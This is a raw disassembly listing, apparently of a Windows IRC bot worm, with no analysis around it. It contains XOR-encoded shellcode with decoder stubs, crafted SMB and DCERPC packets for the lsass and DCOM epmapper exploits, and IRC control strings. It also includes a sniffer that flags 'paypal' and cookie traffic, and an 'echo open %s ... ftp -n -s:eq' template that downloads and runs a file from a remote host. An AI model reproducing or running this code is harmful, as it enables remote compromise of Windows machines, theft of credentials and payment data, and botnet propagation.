		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp		db 'HTTP',0             ; DATA XREF: .nsp0:00423C8Co
		align 10h
aFtp		db 'FTP',0              ; DATA XREF: .nsp0:00423C88o
off_4244F4	dd offset byte_435249	; DATA XREF: .nsp0:00423C84o
dword_4244F8	dd 544F42h		; DATA XREF: .nsp0:off_423C80o
unk_4244FC	db    2			; DATA XREF: sub_4024DC+2FCo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorRecvFaile	db 'Error: recv() failed, returned: <%d>',0
		align 4
unk_424544	db    2			; DATA XREF: sub_4024DC+2ABo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aSuspiciousSPac	db 'Suspicious %s packet from: %s:%d - %s.',0
		align 4
aPsniff		db '[PSNIFF]',0         ; DATA XREF: sub_4024DC+235o
		align 4
unk_424598	db    2			; DATA XREF: sub_4024DC+186o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorWsaioctlF	db 'Error: WSAIoctl() failed, returned: <%d>.',0
		align 4
unk_4245E4	db    2			; DATA XREF: sub_4024DC+103o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorBindFaile	db 'Error: bind() failed, returned: <%d>.',0
		align 4
dword_42462C	dd 28026502h, 62302E31h, 20282029h, 66696E73h, 1F6D2E66h
					; DATA XREF: sub_4024DC+85o
		dd 206C1F64h, 0BB022029h, 202002BBh, 6F727245h,	73203A72h
		dd 656B636Fh, 20292874h, 6C696166h, 202C6465h, 75746572h
		dd 64656E72h, 253C203Ah, 2E3E64h, 0
; ---------------------------------------------------------------------------
		jmp	short loc_42468A

; =============== S U B	R O U T	I N E =======================================



sub_42467A	proc far		; CODE XREF: sub_42467A:loc_42468Ap
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h

loc_424682:				; CODE XREF: sub_42467A+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_424682
		jmp	short loc_42468F
; ---------------------------------------------------------------------------

loc_42468A:				; CODE XREF: .nsp0:00424678j
		call	near ptr sub_42467A

loc_42468F:				; CODE XREF: sub_42467A+Ej
		jo	short loc_4246F3
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_424711
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]

loc_4246F3:				; CODE XREF: sub_42467A:loc_42468Fj
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------

loc_424711:				; CODE XREF: sub_42467A+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_42467A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------

loc_4247B8:				; DATA XREF: sub_402988+150o
					; sub_402988+20Do
		jmp	short loc_4247CA

; =============== S U B	R O U T	I N E =======================================



sub_4247BA	proc near		; CODE XREF: sub_4247BA:loc_4247CAp
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh

loc_4247C2:				; CODE XREF: sub_4247BA+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_4247C2
		jmp	short loc_4247CF
; ---------------------------------------------------------------------------

loc_4247CA:				; CODE XREF: .nsp0:loc_4247B8j
		call	sub_4247BA

loc_4247CF:				; CODE XREF: sub_4247BA+Ej
		jo	short near ptr dword_424748+1Eh
		cwde
		cdq
		cdq
		retn
sub_4247BA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_424868	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_402988+101o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_424950	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: sub_402DDD+7Fo
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4249DC	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402DDD+AAo
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 8
dword_424A88	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402DDD+CFo
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_424B68	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402988+57o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC:					; DATA XREF: sub_402988+86o
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 0
dword_424BCC	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402988+2B0o
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_424C38	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402988+2DBo
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_424CDC	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402988+3C3o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_424D5C	dd offset loc_401495	; DATA XREF: sub_402988+3F1o
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_424DF0	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402988+314o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_424E5C	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402988+33Fo
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_424ED0	dd 0			; DATA XREF: sub_402988+36Do
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 2	dup(0)
word_424F58	dw 0AD9Dh		; DATA XREF: sub_40283D+30r
					; sub_402988+E3r
		align 4
		dd 2 dup(0)
aWinxpProfessio	db 'WinXP Professional    [universal] lsass.exe ',0
		align 8
dword_424F98	dd 1004600h		; DATA XREF: sub_402988+13Dr
					; sub_402988+240r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
dword_425050	dd 0A0D7325h, 0		; DATA XREF: sub_40283D+EAo
					; sub_4036EB+102o ...
aEchoOpenSDEqEc	db 'echo open %s %d >> eq&echo user %s %s >> eq &echo get %s >> eq &e'
					; DATA XREF: sub_40283D+A4o
		db 'cho quit >> eq &ftp -n -s:eq &%s',0Dh,0Ah,0
; ---------------------------------------------------------------------------

loc_4250BC:				; DATA XREF: sub_402988+171o
					; sub_40384C+177o
		jmp	short loc_4250C4
; ---------------------------------------------------------------------------
		jmp	short loc_4250C6
; ---------------------------------------------------------------------------
		dd 0
; ---------------------------------------------------------------------------

loc_4250C4:				; CODE XREF: .nsp0:loc_4250BCj
					; DATA XREF: sub_402988+27o ...
		pop	esp
		pop	esp

loc_4250C6:				; CODE XREF: .nsp0:004250BEj
		and	eax, 70695C73h
		arpl	[eax+eax], sp
; ---------------------------------------------------------------------------
		dw 0
dword_4250D0	dd 1CEC8166h		; DATA XREF: sub_402988+Dr
					; sub_40384C+Dr
dword_4250D4	dd 0E4FF07h		; DATA XREF: sub_402988+16r
					; sub_40384C+16r
dword_4250D8	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA	XREF: sub_4033CB+E1o
					; sub_4033CB+21Bo
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_425124	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_403178+123o
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_425488	dd 20h,	0		; DATA XREF: sub_403178+136o
		dd 20h,	5C005Ch, 0
off_42549C	dd offset aString	; DATA XREF: sub_403178+15Do
					; "string"
a12345611111111:
		unicode	0, <$\123456111111111111111.doc>,0
		dd 0
dword_4254DC	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_403178+174o
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
aFxnbfxfxnbfxfx:			; DATA XREF: sub_403178+45o
		unicode	0, <FXNBFXFXNBFXFXFXFX>
		dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr	db ''
		db ''
		db '',0
dword_4255EC	dd 18759Fh		; DATA XREF: sub_403178+104o
dword_4255F0	dd 100139Dh		; DATA XREF: sub_403178+FBo
asc_4255F4:				; DATA XREF: sub_402FDD+1Co
					; sub_4030C0+16o
		unicode	0, <\\>,0
		align 4
off_4255FC	dd offset dword_49005C	; DATA XREF: sub_402FDD+Co
					; sub_4030C0+Bo
		dd offset aStuttgar+8
		dd 24h
aSPipeEpmapper	db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_4033CB+41o
		align 10h
		jmp	short loc_425632

; =============== S U B	R O U T	I N E =======================================



sub_425622	proc far		; CODE XREF: sub_425622:loc_425632p
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h

loc_42562A:				; CODE XREF: sub_425622+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_42562A
		jmp	short loc_425637
; ---------------------------------------------------------------------------

loc_425632:				; CODE XREF: .nsp0:00425620j
		call	near ptr sub_425622

loc_425637:				; CODE XREF: sub_425622+Ej
		jo	short loc_42569B
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_4256B9
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]

loc_42569B:				; CODE XREF: sub_425622:loc_425637j
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------

loc_4256B9:				; CODE XREF: sub_425622+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_425622	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------

loc_425760:				; DATA XREF: sub_40384C+156o
					; sub_40384C+212o
		jmp	short loc_425772

; =============== S U B	R O U T	I N E =======================================



sub_425762	proc near		; CODE XREF: sub_425762:loc_425772p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh

loc_42576A:				; CODE XREF: sub_425762+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_42576A
		jmp	short loc_425777
; ---------------------------------------------------------------------------

loc_425772:				; CODE XREF: .nsp0:loc_425760j
		call	sub_425762

loc_425777:				; CODE XREF: sub_425762+Ej
		jo	short near ptr dword_4256F0+1Eh
		cwde
		cdq
		cdq
		retn
sub_425762	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_425810	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_40384C+105o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_4258F8	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: sub_403C8B+85o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_425984	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403C8B+B1o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows20002_0:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_1:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
dword_425A30	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403C8B+D8o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
